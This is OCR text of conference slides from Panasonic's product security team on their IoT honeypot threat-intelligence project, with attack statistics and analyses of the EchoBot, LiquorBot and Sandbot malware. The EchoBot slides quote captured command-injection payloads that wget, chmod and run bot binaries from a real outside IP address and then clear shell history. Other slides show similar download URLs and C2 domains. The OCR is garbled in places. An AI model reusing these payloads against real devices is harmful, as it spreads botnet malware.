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About me

KRR B
- Jun Sato

- Past experience in system development and operation

- Joined Panasonic in 2019 and involved in |oT security

- CISSP, GCFA
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Increasing attacks targeting loT

Number of Attacks Observed by NICTER Darknet Sensors
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Number of cyber attacks continue to increase

About half of observed attacks targeting loT devices
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Breakdown of Observed Attacks by NICTER Darknet Sensors (2018)

Attacks targeting loT devices
(Web Camera, Routers, etc.)

48%

{

Cybersecurity Research Institute - Cyber Security 2019
Appending 5 - Cyber Security Related Data - NICTER Observation
Results

https://www.nisc.go.jp/active/kihon/pdf/cs2019.pdf
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https://www.nisc.go.jp/active/kihon/pdf/cs2019.pdf

Sudden Increase in loT Malware

120000 121588

100000

80000

60000

40000

32614

20000

3219

2016 2017 2018
KASPERSKYS

Number of malware samples for loT devices in Kaspersky Lab’s collection, 2016-2018. (download)

“New trends in the world of |oT threats”, Kaspersky Lab, September 18, 2018
https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/

The number of loT malware has more than

tripled from 2017 in just the first half of 2018
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https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/

loT Malware Wreaking Havoc

. .. Hide ‘N Seek Botnet Targets Smart Homes
Over 500,000 IoT Devices Vulnherable to Mirai B —

3 Botnet
P

By Ionut Arghire on July 24, 2018

in share K8 =

By Eduard Kovacs on October 07, 2016
p infamous Hide ‘N Seek botnet is now targeting vulnerabilities in home automation

=
tions, network security firm Fortinet says.

Researchers have identified more than 500,000 vulnerable Internet of Things (loT) N b f | T |
devices that could easily be ensnared by Mirai or similar botnets. u I I l e r O O I I l a Wa re t observed in January this year, the botnet originally targeted home routers and IP

eras, and had a decentralized, peer-to-peer architecture. By May, the malware had

i n fe Cti O n S ri S i n g ra p i d |y’ : itigtz\rf:sr. 90,000 unigue devices and was targeting far more device types and

https://www.securityweek.com/over-500000-iot-devices-vulnerable-mirai-botnet Wlth n O e n d I n S I g h-t tps://www.securityweek.com/hide-%E2%80%98n-seek-botnet-targets-smart-homes

Ublqum UPVEL Bl

Mirai and at least one other botnet were recently responsible for massive distributed denig
of-service (DDoS) attacks against the website of journalist Brian Krebs and hosting provide
OVH. The attack on OVH was said to have exceeded 1Tbps.

ERBELRER -

https://www.ithome.com.tw/news/123708

%ﬁ SAPT
I -
} 7 Hackers infect 500,000 consumer N —
Palo AltoS FHRIR11E M Mirai Rl - 7 0AiThomel 4B
BETIE =50/ monens2  [CEXE 3
S A routers all over the world with I— ———
BHE -
KB
i #Zyxel ~ Dlink & Netgear malware
Mirail £DDoSHE = @ Dan Goodin - 05/23/2018 413 pm - Bz &IT
FDyn - ISP OVHE View non-AMP version at arstechnica.com i TEEME MARIOTER
& - ftcpdumpBR IR R EEER 2 i 5] - %3 B hiE—b K%
{xSPalo Alto NetworksffiUnit 42145 7] https://arstechnica.com/information-technology/2018/05/hackers-infect-500000- ERRESn—AREB ke
ENBEHENLRE - B THEWePresent WiPG-10007 -1000 Command consumer-routers-all-over-the-world-with-malware/?amp=1 #EEIB—LC&
https://www.ithome.com.tw/news/129449

https://www.ithome.com.tw/news/132271
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loT Malware Infections and Associated Damages

Infect Spread @@@@
' I T «sgv

pha
= @@@@

Cyber Attacks Infect, Spread and leverage for use in attacks
\ Victims unknowingly become attackers

=
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Regulations by Government

United States

NORTH
NEBRASKA
KANSAS

* Oregon HB 2395 amending ORS 646.607
* Cyber Shield Act of 2019 (S. 2664) P
* SB-327 Information Privacy: Connected Devices

* loT Cybersecurity Improvement Act of 2019

* Executive Order on Securing the Information and Communications Technology
and Services Supply Chain (Executive Order 13873)

” | * EU Sales of Goods Directive (SGD)

Europe
4

- EU Digital Content Directive (DCD)
* UK legislation for consumer loT devices by design
* Germany IT security law 2.0

* Finland Cybersecurity Label

‘ People's Republic of China

* Cybersecurity Law of the People's Republic of China
-PEARENEME L SE

* Public Comments on the Provisions on the Administration of
Cybersecurity Vulnerabilities

-MERERAEBENE (ERZTNR)

* Data Security Law of the People’s Republic of China
-thiE \REMNERIEREE

/ Panasonic

PSIRT

Japan

*2019 Order of the Ministry of Internal Affairs and Communications No. 12

>

*2017 Notification of the Ministry of Economy, Trade and Industry No. 19 ,

*Partial revision to “Telecommunications Business Act” and “Act on
the National Institute of Information and Communications Technology,
Independent Administrative Agency”

New laws being enacted globally

govern loT security
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Expectations for "Manutacturers to ensure product security”

Procurement of secure parts /
components
(Chips, software, etc.)

Security for shipped products
Product updates after shipment

2 [0 ==
E

Proper configuration and usage of

Security
Organizations /
Researchers

Discovery of vulnerabilities
Development / selling security

Users

products products
Proper explanation and initial
configuration of products
Panasonic Panasonic
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Existing Panasonic Activities on Product Security
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As A Corporate Risk

Basic Framework for Risk Management
* Corporate Major Risks for FY2019
m Natural disasters (earthquakes, tsunamis,
Selecti weather-related disasters, etc.)
ecting Developing Quali
uality problem
G&G RM Risk ‘r:ncarp?rr?;i Promoting e »and promoting , yP , .
Committee  assessment J% onfirr?lin g measures 9¥ improvement Serious fraud (cartels, bribery of public
e measures officials, accounting fraud)
S A v A v | Cyberatiacks |
Selecting Develobi
s 2 ping : :
(R:on-_man;esf Risk Gompa_nlkes Promoting Monitoring 2" d promoting * Corporate Major Risks for FY2020
egiona assessment MaOIMSKS ——  easures 9 improvement Natural disasters (earthquakes, tsunamis,
Headquarters and formulating measures h lated di
measures weather-related disasters, etc.)
A A A & A A 4 Quality problem
Selecting Developing Serious fraud (cartels, bribery of public
- Divisions’ * - fficials, accounting fraud
L Risk g Promoting - and promoting oriicials, g )
Divisions major risks Monitoring
assessment _ formulating measures :‘rr'.'nepar::gargent l Cyberattacks I
measures Considerations on geoplitical risks in
addition to strategic risks

Cyberattacks are a major corporate risk in Panasonic

https://www.panasonic.com/global/corporate/sustainability/management/riskmanagement.html
https://www.panasonic.com/global/corporate/sustainability/pdf/sdb2019e.pdf
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Supporting Panasonic Brand

Panasonic

Product Security )

Incident
Response

Essential knowledge (Awareness / Technical)
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Panasonic Product Security Activities

Product Lifecycle : :

Shipment Discard

Secure Coding Vulnerability Incident

Response

Threat Analysis Secure Design Testing
Static Analysis [ (Security Testing)

. : Incident
Minimize Risk .
Containment

Panasonic Panasonic
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Cyber Security in Panasonic

Cyber Security Activities in Panasonic

IT Security Product Security Manufacturmg B
Security
Information System Product

Web-site, PC, Server,
Network, Data and

Factory,
Manufacturing

Manufacturing system

Product and Services and Production

provided by Panasonic

Application Machine in Panasonic
% N NN NN N R N RN RN NN RN RN SN RN NN RN RN SN RSN RS SN RN SN SN SN RN RN RN N RN RN RN RNE RN NN RN R RN RN BN BNN BNN N g SN N SN N SN SN R RN N R RSN SN R RSN N RN RN R R N 2
: CSIRT PSIRT FSIRT :
: Info. Systems related Product Security Center Manufacturing related :
: department oau Jrity department I
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Incident Response Framework at Panasonic

Incident Coordinators Security Institution
FIRST, IPA(JP), CERT(US), JPCERT/CC(JP) || ISPs, Vendors, Academics, Individuals
A A
A A
A 4 Panasonic A 4
4 4
Panasonic PSIRT
A A A A A
A 4 4 4 4 h 4
AP-IRT LS-IRT AM-IRT IS-IRT CNS-IRT
Panasonic Panasonic
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Panasonic loT Threat Intelligence Project
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Challenges in Product Security

* |ncident response requires trigger (internal/external notification)

* Not relying on external organization to collect threat information
== Proactively analyze / utilize threat information

Plan Design Implement Test In-Use

Product Lifecycle
7\
¥ ¥ \ O
¥ Requires trigger ¥ Shipment Discard
Incident Coordinators Security Institution 1 Secure Coding Vulnerability Incident
FIRST, IPA(JP), CERT(US), JPCERT/CC(JP) || ISPs, Vendors, Academics, Individuals Threat Analysit Secure Design | Testinlg e
e 4 .
N A
b 4 Panasonic b 4 -
N4 hd Minimize Risk Incident
Containment
Panasonic PSIRT
A A A A A
h 4 h 4 h 4 h 4 h 4
AP-IRT LS-IRT AM-IRT IS-IRT CNS-IRT
Panasonic Panasonic
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Panasonic loT Threat Intelligence Platform Concept

Collect malware targeting home electronics Analysis of malware characteristics

oT Threats s - T e -

K .59.69.41/sh%20-
0%20-%3E%20/tmp/kh

http://185.244.25.108/d%20- 337
0%20-%3E%20/tmp/if

= = sy IOT DeVice hitp://157.230.114.93/h%20- |, (fb';{zfj ]::k 1
. oA, Protection
| ] - IEEEs.. =
More secure products
Ponasone Panasonic
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loT Threat Collection - Malware targeting home electronics

On-going

Real time collection using loT home electronics

On-going
Ability to collect attacks against products in
development

On-going

Increase global coverage of observation points

/ Panasonic
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loT Threat Analysis — Analyze Characteristics of loT Malware

On-going

Collect Malware Targeting
loT Home Electronics

On-going

Behavior analysis specialized for loT malware

On-going
Auto-processing from collection to

analysis/statistics

/ Panasonic
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Collect Malware
(Honeypot)

§J EEsEEE

Behavior Analysis

loT Malware
Analysis Results

¥

Statistical Analysis

;)
v -

e
“ﬁfﬁ%

i

9

Top 10
COMMAND

(loT Sandbox)

Summary

Aj|ea1newolne Moy siyl ssa20.d
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loT Device Protection — Feedback to Product Developer

On-going
Share attack overview / loT malware analysis
to product developer

Coming Soon

Risk analysis for products in development

e (Categorize attack against product in development with
standard framework (e.g. MITRE ATT&CK)

* Analyze targeted vulnerabilities to assess
countermeasures for products

* Product specific characteristics
» Vulnerability
» Impact

Panasonic

/PSIRT

Collect threat
(Honeypot)

l Malware Analysis

Threat Analysis (Statics app, elasticsearch)
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Accomplishments — November 2017 — Jun 2020

By By B B B

Attacks Collected 603,589,498

HAANANANAAAAAANAYY
Malware Collected 56,426 z*************

€%

¢ The home appliance was not infected and there were no damages

loT Malware Collected 12,634

Home electronics with
malicious files placed’

loT Threat Analysis (Malaware Analysis)

Of the top 10 destination IP addresses, besides DNS (8.8.8.8),
all are malware distribution sites (malicious sites)

2 types

Top 3 destination countries are USA, China, Japan
(Followed by Germany, England, S. Korea, S. Africa, Brazil , France, Egypt.)

( % Panasonic Panasonic
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About me

- IRE A
- Jimmy
- Panasonic Cyber Security Lab

- Past experience in software / system development

- Joined Panasonic in 2018 and involved in loT security
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Analysis example of Collected Threat Information
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Attack trend

Peak in Dec 2019

Peak in June 2020
Total attack number decreasing since Feb, 2020
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Top 10 Attacked Protocols

 Peakin Dec 2019
* Remote attacks against Microsoft SQL, targeting servers with weak password

e PeakinJune 2020

 UPnP vulnerability “Call Stranger” was disclosed

upnp [ ssh I smbd upnpd mssqld [l ftrdatalisten httpd telnet SipSession SipCall

. . 2020/06
Decrease from 600 mil to 0.25 mil

7000000
6000000
5000000
2019/12

4000000

3000000

2000000

1000000
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Top 5 Attacked Protocols

2020/4 2020/5 2020/6

\ e Attacks to MSSQL dropped in May
. \ \ “ e Attacks to UPnP from China and US
' soared in June.
* telnet, ssh, UPnP are targets
constantly in the Top5
Protocol Count Protocol Count Protocol Count
[ | mssqld 119,273 [ | telnet 4874 B upnpd 8703905 ]
[ | telnet 3,023,963 [ | ssh 1715,309 [ | telnet 4,031680
[ | upnpd 2)26,249 [ B upnpd 1629507 [ | smbd 1921326
ssh 196,081 smbd 1,062,873 ssh 1908271
smbd 137627 SipSession 661,945 SipSession 321841
Attack Originated Countr Attack Count Attack Originated Country Attack Count Attack Originated Country Attack Count
2684133 [ oM 879 652 CH 5314 983
1,813,154 C Us 305,999 us 1,536,532 ]
(oo | KR 222,028 HEK 865,341
Panasonic Panasonic
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Top 10 Attack Sources by Country

Peak in Dec 2019

Attack Source by Country: China and Taiwan

Peak in June 2020

Attack Source by Country: China and the USA
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@

Top b Attack Sources by Country

Panasonic
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2020/4

TW 2,603,277

us

RU

VN

1,596,915

1,279,199

1,060,771

China is constantly Top1 since this April.
Observed many attacks against 1900 (UPnP), 1433 (MSSQL).

2020/5 2020/6

us 2,227,674 [ | us
NL 1746,995 [ | NL
RU 1394587 RU
W 319,014 CA

\

3,832108

1.416,754

1,370,676

940,250

Panasonic
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Attack trends against Home loT Appliances

* Devices being attacked have ports open such as Web, UPnP, SMB, etc.

Attack Trend Against Physical Honeypots

300
#1 Security camera
250
200
X
(%]
S 150
©
2
<
100
50 #2 Home camera
/\ #3 BD recoder
2018Q1 2018Q2 2018Q3 2018Q4 2019Q1 2019Q2 2019Q3 2019Q4 2020Q1
=== Dehumidifier Refrigerator Home camera Intercom == BD recoder

TV = \\/ash machine Security camera === Air condinctioner

/ Panasonic
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Attacks against security cameras

M-SEARCH * HTTP/1.1 Hos! 11900 ST:ssdp:all Man:"ssdp:discover” MX:3

 Top 2 China, the USA

* Almost all attacks are against 1900 (UPnP), 80 (http)

 Observed a lot of “M-SEARCH” messages. Probably:
- Search for vulnerable devices to use in SSDP reflectlon attacks

M-SEARCH * HTTP/1.1 Host
ST:ssdp:all Man:"ssdprdiscaver” MX:3

11900 ST:ssdp:all Man:"ssdp:discover” MX:3 M-SEARCH * 1900

HTTP/1.1 Host:

M-SEARCH * HTTP/1.1 Host 1900 ST:ssdp:all Man:"ssdp:discover” MX:3 M-SEARCH * HTTP/1.1 Host:
ST:ssdp:all Man:"ssdp:discover” MX:3 M-SEARCH * HTTP/1.1 Host: :1900 ST:ssdp:all Man:"ssdp:discover" MX:3

0:1900

M-SEARCH * HTTP/1.1 Host._ _:1800 ST:ssdp:all Man:"ssdp:discover” MX:3 M-SEARCH * HTTP/1.1 Host: 1800
ST:ssdp:all Man:"ssdp: duacover MX 3 M SEARCH HTTPH 1 Host 11900 ST:ssdp:all Man:"ssdp:discover" MX:3 M-SEARCH, ¢
. T . ]

Dst port Attack Count
1900 2356M
® =
80,000 ® 2 80 10,191
@ 554 161 1,583
€ 60000 ® 5181 554 170
S ® 161
8181 157
g ® 5000
Z 40000 @ 8000 21 m
@® =081 49152 30
20,000 @ 5082 5000 26
@ 8080
o - - s s @ 1434
@ 4000 8080 2
Atta-::k Drlginated Cauntry & snas
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Trends in Collected loT Malware

* 66% Known malware ; 34 % Unknown malware (using VirusTotal)
 Between a couple to 150-170 samples collected daily

e No direct correlation between number of attacks and number of collected
malware samples

e Likely due to most attack attempts being scans

I Known maiware [l Unknown maiware

350 j
300 ‘
250 |
200 k1
| ‘\1 ~‘\ ¢
1
. | A
100 ‘ l \
I ! rd w . V‘w mi J] j }‘ w
» AR \.Jﬂ“!t Nglie LI 1) L. U gy _
N Q S ol o o] T Q% N S .} ) el A o > 3e a9 M ] e} A © (s,
N N N o S ~ v N N v Y S N & & N oV o ~ v o o ~ v
qr\q’ Cb'\q, 05'31 OJ{]’ Q)Q'\ QSS\ Q’Q;\ Q& ()Sglr Q& C)'QSL Q’Qgﬂ ()'{:Sb Q’QO) Qpb‘ ng‘ Qpb‘ ngj Qggo Qéa Q(ga C)S.‘g) Q’QQ Qgco
S S S S S o o & o & 0 % 3 S o & o o o o o 0 % o
S . S S N Y, S T, S S, S Y. S, U ST, ST, S S ST, ) S, S, P
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Analysis of Collected Malware

Collected Malware

PR Known — S COLLECTED 10T MALWARE FAMILY DISTRIBUTION

armel 5097 1791 6888 dofloo pnscan

I <nown I unknown 0.29% 0.17%

f:ggg i386 13840 5701 19541 “;::T‘ bitc;i{l;]r:/‘i)ner
:jggg mips 3264 1031 4295
o0 aarchea 18 6 2
2000 ppe 1430 540 1970
" i / e sh4 1378 534 1912
— 0 0 0
unknown 3357 7089 10446
4 (- 30% of total attacks against 4 A
* Most Linux based malware loT architecture * Most loT malware collected
target PC/Servers (i386 and amd64) - ARM and MIPS are the main are gafgyt and mirai family
\ JAN targets for loT malware JAS y

Panasonic Panasonic
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Attacked Home loT Appliances -Suspicious Files-

®Malware was placed in a shared folder that did not have any authentication

* 5 malware samples placed
* CVE-2017-7494(SambaCry - Attack was not successful)

Architecture

ELF 64-bit LSB shared object. MIPS. MIPS64 rel2 version 1
(SYSV), dynamically linked,
BuildID[shal]=97¢c1329aa61c3dd85abi77c9885aee0634384D12,

File name

vCNkiniA.so

not stripped

exXYAHKBG.so ELF 64-bit MSB shared object. 64-bit PowerPC or cisco 7500,
version 1 (SYSV). dynamically linked,
BuildID[shal]=599603d2887027ef23cd3230aa9b94218ae20917,
not stripped

CdpBQtZz.so ELF 64-bit MSB shared object. 64-bit PowerPC or cisco 7500,
version 1 (SYSV). dvnamically linked.
BuildID[shal]=599603d2887027ef23cd3230aa9b9421823e20917.

not stripped

c¢ZInZNb2.so ELF 64-bit LSB shared object, x86-64. version 1 (SYSV),
dynamically linked,
BuildID[shal]=771b11b37dd1blefee7456515594ab2372294215.
not stripped

TQGSduxz.so ELF 64-bit LSB shared object. x86-64, version 1 (SYSV),
dynamically linked,

/ Panasonic

PSIRT

Observed between October — December, 2018

* 4 suspicious files

Content Type : Size | Filename

FILE (260/260) W [100.00%6] 260 ... | nmap-test-file
FILE (260/260) W [100.00%] 260 ... | nmap-test-file
FILE (260/260) W [100.00%] 260 ... | nmap-test-file
FILE (260/260) W [100.00%] 260 ... | nmap-test-file

* 1 malware sample
\_N32/Tenga

Observed between January — March, 2019

\TREEID_1 PIPE (Not Implemented} (0/0) W [O. 00%] 0 bytes \SNSVC

\TREEID_2 FILE (2600/3447336) R [ 0.00%)] 3447 kB \pgxjup.exe
\TREEID_2 FILE (3447336/3447336) R[100.00%] 3447 kB \pgxjup.exe

W%

utenti.lycos
GET /vx9/dl.exe HTTP/1.1

Host: utenti lycos.it

dl.exe

winlo

on exe

Panasonic
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Attacked Home loT Appliances -Suspicious Files-

.Listing Of Shared f0|der‘s SRVSVC 401 NetShareEnumAll response |
.Up|0ad ma|Wa re SMB 148 Open AndX Request, FID: @x1312, Path:
SMB 135 Open AndX Response, FID: ©x1312
H TLUF 00 845 = J17537 [ALR] SEOQ=S347 ACK=0DZLZLI WIN=ZDIIZ LEM=g TSVaIsSo7TUiuZoy T38lr=1007 1720
> Malwa re eXpIOItS TCP 66 445 - 41759 [ACK] Seq=347 Ack=776&4in=22302 | on=0 TSval=357020267 TSecr=12867120
CVE-2017-7494 (Sambacry) SMB 117 Write AndX Response, FID: 9x1312
SMB 111 Close Reauest. FTD: 8x1312

® Attempts to load malware onto Samba

server SMB 116 Tree Connect AndX Response
SMB 196 NT Create AndX Request, Path: WPIPE\/mnt/fuse/mnt/hdd/SHARE/LUWCTOvs.so

> Fails to specify full path for malware. Attack | *"® 109 !T Create AndX Response, FID: 0x0060

attempt unsuccessful.

. SMB 12]|Delete Reguestl Path: ELUWCTDVS.SDI
Delete malwa re TCP 66 445 » 41363 [ACK] Seq=278 Ack=482 Win=14528 Len=0

SMB 185 Delete Response

» Not deleted entirely, some parts remain

( % Panasonic Panasonic
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loT Malware Analysis (Case 1) - EchoBot

131 util _strecpy(vie, &v93);
132 vll = 4 * (rand_next() % 6) + 12;
133  rand_abc((int)&vo3, vil);

Name

® Mirai variant

. . . . . 134  *((_BYTE *)&v1el + vil - 80) = 8; |UMECISUEIELES
® After Intrusion, process name IS dlngISEd 135 pretl(15, &2, &vio1); ) 2liomfiaedoejdk _
. 62 v5 = realtekscan(); 77| v20 = awstatsmigratescan(v19); 92 V35 = vmwarescan(v34);
. Scanner depends on enV|r0nment 63 v6 = spreecommercescan(vs); 78 v21 = awstatsconfigdirscan(v2e); 93 v36 = admscan(v35);
64 v7 = redminescan(vé); 79 v22 = awstatstotalsscan(v2l); 94 v37 = dreamboxscan(v36);
HHY: 65 v8 = quicktimescan(v7); 88 v23 = alcatelscan(v22); 95 V38 = wepresentscan(v37);
> Only VUlnerab”ltleS scanner (1 CPU) 66 v9 = plonescan(vs); 81 v24 = asuswrtscan(v23); % v39 = supersignscan(v33);
- 67 v1@ = openviewscan(vo); 82 v25 = zeroshellscan(v24); 97 v4@ = oraclescan(v3g);
» Vulnerabilities scanners and Telnet/SSH 68 Vil = opSv7scan(vi); 83 v26 = yealinkscan(v25); 98 VAl = nuuoscan(v4e);
69 v12 = op5scan(vil); 84 v27 = seowonintechscan(v26); 99 v42 = netgearscan(v4l);
scanner (More than 1 CPU) 7@ vl3 = nggiosscan(\le); 85 v28 = linksysscan(v27); 100 v43 = hootooscan(v42);
71 v14 = mitelscan(viz); 86 v29 = dlinkscan(v28); 101 v44 = asusscan(v43);
72 vl5 = gitoriousscan(vl4); 87 v30 = ddwrtscan(v29); 102 v45 = dellscan(v44);
[ ) ili N i 73 v16 = freepbxscan(vis); 88  v31 = airosscan(v3@); 103 v46 = umotionscan(v4s);
Ta rgets VU|nerab|||ty (Command InJeCtlon) 74 v17 = ctekscan(v16); 89 v32 = asmaxscan(v3l); 104 v47 = veralite_init(v46);
. . 75 v1g€ = crmscan(v17); 99 v33 = wificamscan(v32); 105 v48 = Blackboxscan(v47);
N IOT deV|Ce 76 v1% = barracudascan(v1ig); 91 v34 = geutebruckscan(v33); 106 result = belkin_init(v4g);
"POST 3/cf thping.cgi HTTP/1.1",0xD,@xA < < < <
/apps/a3/c g-e; B;?i ;EEF: ct{e!kscan+)2(316)1‘(o "GET /cgi-bin/masterCGI?ping=nomip&user=;cd /tmp; wget http://31."
5 .text:off_2C96810 ; DATA XREF: alcatelscan+23@@To
oxD, BXA ;5 .text:off_1141Cto
"MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;cd /tmp" "13.195.251/ECHO/ECHOBOT .x86; chmod 777 ECHOBOT.x86; ./ECHOBOT.x&"
": wget http://31.13.195.251/ECHO/ECHOBOT.mips; chmod 777 ECHOBOT" "6; rm -rf ECHOBOT.x86; history -c; HTTP/1.1",@xD,@xA
".mips; ./ECHOBOT.mips; rm -rf ECHOBOT.mips; history -c+%26",@xD,8xA exD, OxA, 0
exD,exA,e

(Observed between April - June 2019)
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loT Malware Analysis (Case 1) - EchoBot

® Encrypts password list used during Telnet
scan

» Original Key “DEADBEEF”
> XOR Key ”DFDAACFD”

® C&C Server

> |P addresses from China

® DoS Functions
» Typical mirai DDoS functions

® ARM, MIPS, PPC, SH4, SPC, x86, etc.

Panasonic
(”PSlRT

EXPORT table key
table_key DCDIBxDFDﬂECFD

akumaiotsolutions.pw

E1X

akuma.pw

Resolve Location
117.50.14.196 CN

[E attack_method_udpplain
[E attack_method_udpgeneric
E attack_method_greeth

[E attack_method_greip

[E attack_method_udpvse

[E attack_method_udpdns

E attack_method_tcpxmas
[E attack_method_tcpstomp
[E attack_method_tcpack

[E attack_method_tcpsyn

(Observed between June - July 2019)
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loT Malware Analysis (Case 2) - LiquorBot

. . . |F | _NUINe_woul_esKLlOp_LIJuuUI_boL : _
® M|ra| variant 7] type__hash__home_woot_Desktop, 7] man_processCmmand :
type_eq__home_woot_Desktop_Li mafn_Explo!t_UnksysEprlmt
> Rewritten in golang 7] main_main 5 man_Bp oAb el
B mainloop M main_plornieplott
o N main__Exploit_DIink930L
“ main__Exploit_DIink815
main__Exploit_NetgearMulti
T : Line 5779 of 5779) T
@® Scan vulnerabilities for many loT devices | 7] main_Exploit_Netgear7000
» Linksys .
ADRL Xl,l home_woot_Desktop_quuoP_Bot_modules_scanner_Scanner_Star*t_ptr*l
. STR X1 var_100]
> Dlink LDR X1, [SP:#exnewar_GS]
STR X1, [SP,#ex110+var_F8]
> BL runtime_newproc
MoV X0, #8
STR We, +var 18]
ADRL Xe, home_woot_Desktop_Liquor_Bot_modules_SSH_Brute_Start_ptr'l
STR xe, L#Ox1i0+var_100] .
LDR Xe, [SP,#0x110+var_60] I

® SSH scanner
[E __home_woaot_Desktop_MineGO_misc_ResolvHost
> BrUte force attaCk fOr SSH E home_woot_Desktop_MineGO_misc_BuildPayload @

. . . . E:home_woot_Desktop_MineGO_misc_DownIoadFiIe
® Recognized as nonmalicious by VirusTotal 7] _home woot Desktop. MineGO_misc. GetString e

. . . ﬂ __home_woot_Desktop_MineGO_miner_Download
® COIn Mlner funCtlonS __home_woot_Desktop_MineGO_miner_MakeConfig
__home_woot_Desktop_MineGO_miner_Run
® MIPS

f|__home_woot_Desktop_MineGO_miner_cleanUp

(Observed between Jan - Feb 2020)
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loT Malware Analysis (Case 3) - Sandbot

Pb )

 Tsunami variant |Sededediciee e e ol s Ll O
/self/exe

®Packed by UPX

®nfection through telnet
» Drop telnet connection after infection root@ubuntu: /home/analysis/Desktop# ./hi

decoded| jalaC?ys7<F]:
bigirc.host

I i i bigirc.host
® Mapping table for encryption/decryption e kiba
®Support command to deploy bot as C2 gy Fanans

» Deploy “ngircd” IRC server

®ARM

9 Panasonic (Observed between July - September 2019) Panasonic
PSIRT Cyber Security Lab



Next Steps
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Future Vision - Strengthen B2C Security

Analysis of malware characteristics

Collect malware targeting home electronics

B n _ oT Threats

e & Collection |Analysis
2 v
fian. I==z- :

o &
a »

loT Device

‘
The goal is to strengthen overall 10T security Collaborate with industry to see if global

trends match attacks against our products

Categorize attack against product in development with
standard framework (e.g. MITRE ATT&CK, etc.)

®
Proactively Collect / Analyze incoming threats

Panasonic Panasonic
/PS IRT Cyber Security Lab



31251

47838

Sweden

= Iceland
~ = == Finland -
i ussia
e a5 ‘ Norway £
—_— 3h CESE—— —- s
canada Denmark A by
/. United - { % >
a5 Kingdom o] Belarus’ & [
s Poland {—_ "y oo 3 \
. ~  Ukraine i £
ratice O t
Eratico Hungafy = MD, sl Mongolia 2
| o/ C'fiR5 “Romania. 1 -
P \iRsz -
Yarth “Losin ttaly N0 BC S Gabekistan, Kfrayzsian ' .°,
iunited A ti 3 e 3 i,
States ea Greece  Turkey Turkmenistany3jikistan 3 ps
= China pan
\ Tunisia ST Afghanistah & &
Morocco A Iraq iran 7 G ®
— . d Kuivait W e o
, \ : Algeria Libya o Pakistan” "4 " “Neal-pgry > °
S— - v ,(/" Mexico ) i Saudi F o Bangladesh ¥
< e r— e X \ Arabia Cdm Y India s -y
— Mauritania 3 (Burm: ° c
/ =S Mali Niger | N eren \ S
3 S ssoeBlT— X ( P47 sudan f ' S 4 A\ Yiginant
e il 2 = b Gimb@ia” < philippines
—— Lra o i Southc_ Ethiopia sri
Venezuely’ Ghani| -~ e s a Lanka -
. < T Republic UG /kenya
EcuadP_ aa§egf R Loy o
7 e & ndonesia o
Congo  ranzania New
Peru™ Brazil & Guinea
Angola ™Ay [t
™
? Bolivia - v
Timestamp Honeypot Source Country Destination Country Protocol
11:37:32 dionaea.connections — Thailand <13.82, 100.55> . Taiwan <23.5, 121> SMB | Australin
-> 10050 F e % 5
11:37:32 lionaea.connections = United Kingdom <51.49, -0.13> > Taiwan <23.5, 121> 5648
> ANY =i 9
-> 10051 11:37:31 dionaea.connections. == Thailand <13.82, 100.55> s Taiwan <23.5, 121> SMB
-> ANY - =
-— 11:37:30 dionaea.connections China <23.03, 113.71> a Japan <35.02, 135.75> RTP
11:37:29 dionaea.connections = China <41.79, 123.43> a Japan <35.02, 135.75> RTP

Total Attack

60,542,251

Controls
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